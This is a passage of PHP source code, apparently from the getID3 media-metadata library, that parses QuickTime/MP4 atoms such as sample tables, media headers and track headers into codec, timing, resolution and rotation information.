										$atom_structure['sample_description_table'][$i]['video_data_size']         =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
										$atom_structure['sample_description_table'][$i]['video_frame_count']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  2));
										$atom_structure['sample_description_table'][$i]['video_encoder_name_len']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 34,  1));
										$atom_structure['sample_description_table'][$i]['video_encoder_name']      =                             substr($atom_structure['sample_description_table'][$i]['data'], 35, $atom_structure['sample_description_table'][$i]['video_encoder_name_len']);
										$atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 66,  2));
										$atom_structure['sample_description_table'][$i]['video_color_table_id']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 68,  2));

										$atom_structure['sample_description_table'][$i]['video_pixel_color_type']  = (((int) $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] > 32) ? 'grayscale' : 'color');
										$atom_structure['sample_description_table'][$i]['video_pixel_color_name']  = $this->QuicktimeColorNameLookup($atom_structure['sample_description_table'][$i]['video_pixel_color_depth']);

										if ($atom_structure['sample_description_table'][$i]['video_pixel_color_name'] != 'invalid') {
											$info['quicktime']['video']['codec_fourcc']        = $atom_structure['sample_description_table'][$i]['data_format'];
											$info['quicktime']['video']['codec_fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
											$info['quicktime']['video']['codec']               = (((int) $atom_structure['sample_description_table'][$i]['video_encoder_name_len'] > 0) ? $atom_structure['sample_description_table'][$i]['video_encoder_name'] : $atom_structure['sample_description_table'][$i]['data_format']);
											$info['quicktime']['video']['color_depth']         = $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'];
											$info['quicktime']['video']['color_depth_name']    = $atom_structure['sample_description_table'][$i]['video_pixel_color_name'];

											$info['video']['codec']           = $info['quicktime']['video']['codec'];
											$info['video']['bits_per_sample'] = $info['quicktime']['video']['color_depth'];
										}
										$info['video']['lossless']           = false;
										$info['video']['pixel_aspect_ratio'] = (float) 1;
										break;
								}
								break;
						}
						switch (strtolower($atom_structure['sample_description_table'][$i]['data_format'])) {
							case 'mp4a':
								$info['audio']['dataformat']         = 'mp4';
								$info['quicktime']['audio']['codec'] = 'mp4';
								break;

							case '3ivx':
							case '3iv1':
							case '3iv2':
								$info['video']['dataformat'] = '3ivx';
								break;

							case 'xvid':
								$info['video']['dataformat'] = 'xvid';
								break;

							case 'mp4v':
								$info['video']['dataformat'] = 'mpeg4';
								break;

							case 'divx':
							case 'div1':
							case 'div2':
							case 'div3':
							case 'div4':
							case 'div5':
							case 'div6':
								$info['video']['dataformat'] = 'divx';
								break;

							default:
								// do nothing
								break;
						}
						unset($atom_structure['sample_description_table'][$i]['data']);
					}
					break;


				case 'stts': // Sample Table Time-to-Sample atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$sttsEntriesDataOffset = 8;
					//$FrameRateCalculatorArray = array();
					$frames_count = 0;

					$max_stts_entries_to_scan = ($info['php_memory_limit'] ? min(floor($this->getid3->memory_limit / 10000), $atom_structure['number_entries']) : $atom_structure['number_entries']);
					if ($max_stts_entries_to_scan < $atom_structure['number_entries']) {
						$this->warning('QuickTime atom "stts" has '.$atom_structure['number_entries'].' but only scanning the first '.$max_stts_entries_to_scan.' entries due to limited PHP memory available ('.floor($this->getid3->memory_limit / 1048576).'MB).');
					}
					for ($i = 0; $i < $max_stts_entries_to_scan; $i++) {
						$atom_structure['time_to_sample_table'][$i]['sample_count']    = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
						$sttsEntriesDataOffset += 4;
						$atom_structure['time_to_sample_table'][$i]['sample_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
						$sttsEntriesDataOffset += 4;

						$frames_count += $atom_structure['time_to_sample_table'][$i]['sample_count'];

						// THIS SECTION REPLACED WITH CODE IN "stbl" ATOM
						//if (!empty($info['quicktime']['time_scale']) && ($atom_structure['time_to_sample_table'][$i]['sample_duration'] > 0)) {
						//	$stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'];
						//	if ($stts_new_framerate <= 60) {
						//		// some atoms have durations of "1" giving a very large framerate, which probably is not right
						//		$info['video']['frame_rate'] = max($info['video']['frame_rate'], $stts_new_framerate);
						//	}
						//}
						//
						//$FrameRateCalculatorArray[($info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'])] += $atom_structure['time_to_sample_table'][$i]['sample_count'];
					}
					$info['quicktime']['stts_framecount'][] = $frames_count;
					//$sttsFramesTotal  = 0;
					//$sttsSecondsTotal = 0;
					//foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) {
					//	if (($frames_per_second > 60) || ($frames_per_second < 1)) {
					//		// not video FPS information, probably audio information
					//		$sttsFramesTotal  = 0;
					//		$sttsSecondsTotal = 0;
					//		break;
					//	}
					//	$sttsFramesTotal  += $frame_count;
					//	$sttsSecondsTotal += $frame_count / $frames_per_second;
					//}
					//if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) {
					//	if (($sttsFramesTotal / $sttsSecondsTotal) > $info['video']['frame_rate']) {
					//		$info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal;
					//	}
					//}
					break;


				case 'stss': // Sample Table Sync Sample (key frames) atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stssEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['time_to_sample_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stssEntriesDataOffset, 4));
							$stssEntriesDataOffset += 4;
						}
					}
					break;


				case 'stsc': // Sample Table Sample-to-Chunk atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stscEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['sample_to_chunk_table'][$i]['first_chunk']        = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
							$atom_structure['sample_to_chunk_table'][$i]['samples_per_chunk']  = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
							$atom_structure['sample_to_chunk_table'][$i]['sample_description'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
						}
					}
					break;


				case 'stsz': // Sample Table SiZe atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['sample_size']    = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
						$stszEntriesDataOffset = 12;
						if ($atom_structure['sample_size'] == 0) {
							for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
								$atom_structure['sample_size_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stszEntriesDataOffset, 4));
								$stszEntriesDataOffset += 4;
							}
						}
					}
					break;


				case 'stco': // Sample Table Chunk Offset atom
//					if (true) {
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stcoEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 4));
							$stcoEntriesDataOffset += 4;
						}
					}
					break;


				case 'co64': // Chunk Offset 64-bit (version of "stco" that supports > 2GB files)
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stcoEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 8));
							$stcoEntriesDataOffset += 8;
						}
					}
					break;


				case 'dref': // Data REFerence atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$drefDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['data_references'][$i]['size']                    = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 4));
						$drefDataOffset += 4;
						$atom_structure['data_references'][$i]['type']                    =                           substr($atom_data, $drefDataOffset, 4);
						$drefDataOffset += 4;
						$atom_structure['data_references'][$i]['version']                 = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 1));
						$drefDataOffset += 1;
						$atom_structure['data_references'][$i]['flags_raw']               = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 3)); // hardcoded: 0x0000
						$drefDataOffset += 3;
						$atom_structure['data_references'][$i]['data']                    =                           substr($atom_data, $drefDataOffset, ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3));
						$drefDataOffset += ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3);

						$atom_structure['data_references'][$i]['flags']['self_reference'] = (bool) ($atom_structure['data_references'][$i]['flags_raw'] & 0x001);
					}
					break;


				case 'gmin': // base Media INformation atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
					$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
					$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data, 12, 2));
					$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
					break;


				case 'smhd': // Sound Media information HeaDer atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					break;


				case 'vmhd': // Video Media information HeaDer atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
					$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));

					$atom_structure['flags']['no_lean_ahead'] = (bool) ($atom_structure['flags_raw'] & 0x001);
					break;


				case 'hdlr': // HanDLeR reference atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
					$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
					$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
					$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['component_name']         = $this->MaybePascal2String(substr($atom_data, 24));

					if (($atom_structure['component_subtype'] == 'STpn') && ($atom_structure['component_manufacturer'] == 'zzzz')) {
						$info['video']['dataformat'] = 'quicktimevr';
					}
					break;


				case 'mdhd': // MeDia HeaDer atom
					$atom_structure['version']               = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']             = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['creation_time']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']           = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['time_scale']            = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['duration']              = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['language_id']           = getid3_lib::BigEndian2Int(substr($atom_data, 20, 2));
					$atom_structure['quality']               = getid3_lib::BigEndian2Int(substr($atom_data, 22, 2));

					if ($atom_structure['time_scale'] == 0) {
						$this->error('Corrupt Quicktime file: mdhd.time_scale == zero');
						return false;
					}
					$info['quicktime']['time_scale'] = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);

					$atom_structure['creation_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']      = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$atom_structure['playtime_seconds']      = $atom_structure['duration'] / $atom_structure['time_scale'];
					$atom_structure['language']              = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
						$info['comments']['language'][] = $atom_structure['language'];
					}
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];
					break;


				case 'pnot': // Preview atom
					$atom_structure['modification_date']      = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // "standard Macintosh format"
					$atom_structure['version_number']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x00
					$atom_structure['atom_type']              =                           substr($atom_data,  6, 4);        // usually: 'PICT'
					$atom_structure['atom_index']             = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); // usually: 0x01

					$atom_structure['modification_date_unix'] = getid3_lib::DateMac2Unix($atom_structure['modification_date']);
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modification_date_unix'];
					break;


				case 'crgn': // Clipping ReGioN atom
					$atom_structure['region_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2)); // The Region size, Region boundary box,
					$atom_structure['boundary_box']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 8)); // and Clipping region data fields
					$atom_structure['clipping_data'] =                           substr($atom_data, 10);           // constitute a QuickDraw region.
					break;


				case 'load': // track LOAD settings atom
					$atom_structure['preload_start_time'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					$atom_structure['preload_duration']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['preload_flags_raw']  = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['default_hints_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));

					$atom_structure['default_hints']['double_buffer'] = (bool) ($atom_structure['default_hints_raw'] & 0x0020);
					$atom_structure['default_hints']['high_quality']  = (bool) ($atom_structure['default_hints_raw'] & 0x0100);
					break;


				case 'tmcd': // TiMe CoDe atom
				case 'chap': // CHAPter list atom
				case 'sync': // SYNChronization atom
				case 'scpt': // tranSCriPT atom
				case 'ssrc': // non-primary SouRCe atom
					for ($i = 0; $i < strlen($atom_data); $i += 4) {
						@$atom_structure['track_id'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
					}
					break;


				case 'elst': // Edit LiST atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					for ($i = 0; $i < $atom_structure['number_entries']; $i++ ) {
						$atom_structure['edit_list'][$i]['track_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 0, 4));
						$atom_structure['edit_list'][$i]['media_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 4, 4));
						$atom_structure['edit_list'][$i]['media_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 8 + ($i * 12) + 8, 4));
					}
					break;


				case 'kmat': // compressed MATte atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['matte_data_raw'] =               substr($atom_data,  4);
					break;


				case 'ctab': // Color TABle atom
					$atom_structure['color_table_seed']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // hardcoded: 0x00000000
					$atom_structure['color_table_flags']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x8000
					$atom_structure['color_table_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2)) + 1;
					for ($colortableentry = 0; $colortableentry < $atom_structure['color_table_size']; $colortableentry++) {
						$atom_structure['color_table'][$colortableentry]['alpha'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 0, 2));
						$atom_structure['color_table'][$colortableentry]['red']   = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 2, 2));
						$atom_structure['color_table'][$colortableentry]['green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 4, 2));
						$atom_structure['color_table'][$colortableentry]['blue']  = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 6, 2));
					}
					break;


				case 'mvhd': // MoVie HeaDer atom
					$atom_structure['version']            =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']          =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['creation_time']      =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']        =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['time_scale']         =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['duration']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['preferred_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 20, 4));
					$atom_structure['preferred_volume']   =   getid3_lib::FixedPoint8_8(substr($atom_data, 24, 2));
					$atom_structure['reserved']           =                             substr($atom_data, 26, 10);
					$atom_structure['matrix_a']           = getid3_lib::FixedPoint16_16(substr($atom_data, 36, 4));
					$atom_structure['matrix_b']           = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
					$atom_structure['matrix_u']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 44, 4));
					$atom_structure['matrix_c']           = getid3_lib::FixedPoint16_16(substr($atom_data, 48, 4));
					$atom_structure['matrix_d']           = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
					$atom_structure['matrix_v']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 56, 4));
					$atom_structure['matrix_x']           = getid3_lib::FixedPoint16_16(substr($atom_data, 60, 4));
					$atom_structure['matrix_y']           = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
					$atom_structure['matrix_w']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 68, 4));
					$atom_structure['preview_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 72, 4));
					$atom_structure['preview_duration']   =   getid3_lib::BigEndian2Int(substr($atom_data, 76, 4));
					$atom_structure['poster_time']        =   getid3_lib::BigEndian2Int(substr($atom_data, 80, 4));
					$atom_structure['selection_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 84, 4));
					$atom_structure['selection_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 88, 4));
					$atom_structure['current_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 92, 4));
					$atom_structure['next_track_id']      =   getid3_lib::BigEndian2Int(substr($atom_data, 96, 4));

					if ($atom_structure['time_scale'] == 0) {
						$this->error('Corrupt Quicktime file: mvhd.time_scale == zero');
						return false;
					}
					$atom_structure['creation_time_unix']        = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']          = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];
					$info['quicktime']['time_scale']    = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
					$info['quicktime']['display_scale'] = $atom_structure['matrix_a'];
					$info['playtime_seconds']           = $atom_structure['duration'] / $atom_structure['time_scale'];
					break;


				case 'tkhd': // TracK HeaDer atom
					$atom_structure['version']             =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']           =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['creation_time']       =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']         =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['trackid']             =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['reserved1']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['duration']            =   getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['reserved2']           =   getid3_lib::BigEndian2Int(substr($atom_data, 24, 8));
					$atom_structure['layer']               =   getid3_lib::BigEndian2Int(substr($atom_data, 32, 2));
					$atom_structure['alternate_group']     =   getid3_lib::BigEndian2Int(substr($atom_data, 34, 2));
					$atom_structure['volume']              =   getid3_lib::FixedPoint8_8(substr($atom_data, 36, 2));
					$atom_structure['reserved3']           =   getid3_lib::BigEndian2Int(substr($atom_data, 38, 2));
					// http://developer.apple.com/library/mac/#documentation/QuickTime/RM/MovieBasics/MTEditing/K-Chapter/11MatrixFunctions.html
					// http://developer.apple.com/library/mac/#documentation/QuickTime/qtff/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-18737
					$atom_structure['matrix_a']            = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
					$atom_structure['matrix_b']            = getid3_lib::FixedPoint16_16(substr($atom_data, 44, 4));
					$atom_structure['matrix_u']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 48, 4));
					$atom_structure['matrix_c']            = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
					$atom_structure['matrix_d']            = getid3_lib::FixedPoint16_16(substr($atom_data, 56, 4));
					$atom_structure['matrix_v']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 60, 4));
					$atom_structure['matrix_x']            = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
					$atom_structure['matrix_y']            = getid3_lib::FixedPoint16_16(substr($atom_data, 68, 4));
					$atom_structure['matrix_w']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 72, 4));
					$atom_structure['width']               = getid3_lib::FixedPoint16_16(substr($atom_data, 76, 4));
					$atom_structure['height']              = getid3_lib::FixedPoint16_16(substr($atom_data, 80, 4));
					$atom_structure['flags']['enabled']    = (bool) ($atom_structure['flags_raw'] & 0x0001);
					$atom_structure['flags']['in_movie']   = (bool) ($atom_structure['flags_raw'] & 0x0002);
					$atom_structure['flags']['in_preview'] = (bool) ($atom_structure['flags_raw'] & 0x0004);
					$atom_structure['flags']['in_poster']  = (bool) ($atom_structure['flags_raw'] & 0x0008);
					$atom_structure['creation_time_unix']  = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];

					// https://www.getid3.org/phpBB3/viewtopic.php?t=1908
					// attempt to compute rotation from matrix values
					// 2017-Dec-28: uncertain if 90/270 are correctly oriented; values returned by FixedPoint16_16 should perhaps be -1 instead of 65535(?)
					$matrixRotation = 0;
					switch ($atom_structure['matrix_a'].':'.$atom_structure['matrix_b'].':'.$atom_structure['matrix_c'].':'.$atom_structure['matrix_d']) {
						case '1:0:0:1':         $matrixRotation =   0; break;
						case '0:1:65535:0':     $matrixRotation =  90; break;
						case '65535:0:0:65535': $matrixRotation = 180; break;
						case '0:65535:1:0':     $matrixRotation = 270; break;
						default: break;
					}

					// https://www.getid3.org/phpBB3/viewtopic.php?t=2468
					// The rotation matrix can appear in the Quicktime file multiple times, at least once for each track,
					// and it's possible that only the video track (or, in theory, one of the video tracks) is flagged as
					// rotated while the other tracks (e.g. audio) is tagged as rotation=0 (behavior noted on iPhone 8 Plus)
					// The correct solution would be to check if the TrackID associated with the rotation matrix is indeed
					// a video track (or the main video track) and only set the rotation then, but since information about
					// what track is what is not trivially there to be examined, the lazy solution is to set the rotation
					// if it is found to be nonzero, on the assumption that tracks that don't need it will have rotation set
					// to zero (and be effectively ignored) and the video track will have rotation set correctly, which will
					// either be zero and automatically correct, or nonzero and be set correctly.
					if (!isset($info['video']['rotate']) || (($info['video']['rotate'] == 0) && ($matrixRotation > 0))) {
						$info['quicktime']['video']['rotate'] = $info['video']['rotate'] = $matrixRotation;
					}

					if ($atom_structure['flags']['enabled'] == 1) {
						if (!isset($info['video']['resolution_x']) || !isset($info['video']['resolution_y'])) {
							$info['video']['resolution_x'] = $atom_structure['width'];
							$info['video']['resolution_y'] = $atom_structure['height'];
						}
						$info['video']['resolution_x'] = max($info['video']['resolution_x'], $atom_structure['width']);
						$info['video']['resolution_y'] = max($info['video']['resolution_y'], $atom_structure['height']);
						$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
						$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
					} else {
						// see: https://www.getid3.org/phpBB3/viewtopic.php?t=1295
						//if (isset($info['video']['resolution_x'])) { unset($info['video']['resolution_x']); }
						//if (isset($info['video']['resolution_y'])) { unset($info['video']['resolution_y']); }
						//if (isset($info['quicktime']['video']))    { unset($info['quicktime']['video']);    }
					}
					break;


				case 'iods': // Initial Object DeScriptor atom
					// http://www.koders.com/c/fid1FAB3E762903DC482D8A246D4A4BF9F28E049594.aspx?s=windows.h
					// http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html
					$offset = 0;
					$atom_structure['version']                =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['flags_raw']              =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 3));
					$offset += 3;
					$atom_structure['mp4_iod_tag']            =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['length']                 = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
					//$offset already adjusted by quicktime_read_mp4_descr_length()
					$atom_structure['object_descriptor_id']   =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));
					$offset += 2;
					$atom_structure['od_profile_level']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
